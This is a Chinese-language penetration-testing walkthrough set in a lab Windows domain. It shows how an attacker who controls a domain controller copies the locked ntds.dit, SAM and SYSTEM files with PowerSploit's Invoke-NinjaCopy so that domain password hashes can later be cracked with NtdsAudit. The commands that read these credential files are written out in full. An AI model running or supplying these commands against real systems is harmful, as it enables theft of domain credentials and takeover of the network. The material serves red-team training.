环境说明
| IP | HOSTNAME | NOTE |
|---|
| 172.16.106.71 | KC360_WIN2012_1 | 域控 |
| 172.16.100.52 | Windows 10 | 域内主机 |
| 172.16.106.69 | KC360_WIN2008_1 | 域内主机 |
前言
- 在内网渗透过程中,当攻击者拿下域控以后,就可以尝试获取域内密码凭证等信息,这时首先需要获取三个文件,如下列表所示:
| 文件名称 | 描述 | 文件存放路径 |
|---|
| ntds.dit | 活动目录数据库文件,包括与域内用户、组和组成员身份的各种相关信息。 | %SystemRoot%\NTDS\ntds.dit |
| SAM | 存储本地账户的密码哈希 | %SystemRoot%\System32\config\SAM |
| SYSTEM | 使用存储在SYSTEM注册表配置单元中的密钥对上述哈希值进行加密,因此破解SAM和ntds.dit文件都需要它 | %SystemRoot%\System32\config\SYSTEM |
- 但是Windows禁止对ntds.dit、SAM、SYSTEM这三个文件进行复制和读取,这时我们需要凭借其它手段:例如直接卷访问、卷影复制等技术来获取到这个三个文件。
- 有了这三个文件之后,我们再借助 NtdsAudit 来破解其密码哈希获取域内凭证信息。
攻击过程
通过NinjaCopy进行直接卷访问
- NinjaCopy是Powershell实现的进行直接卷访问的攻击脚本,目前集成在知名开源Powershell攻击框架PowerSploit中,PowerSploit下载地址如下:
https://github.com/PowerShellMafia/PowerSploit
- 关于PowerSploit的安装用法参考官方文档如下:
https://powersploit.readthedocs.io/en/latest/
- 之后我们通过PowerSpolit的脚本NinjaCopy将我们需要的ntds.dit、SAM、SYSTEM这三个文件复制到E:\credential目录下:
Import-Module Exfiltration
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "E:\credential\SAM"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "E:\credential\SYSTEM"
Invoke-NinjaCopy -Path "C:\Windows\NTDS\ntds.dit" -LocalDestination "E:\credential\ntds.dit"
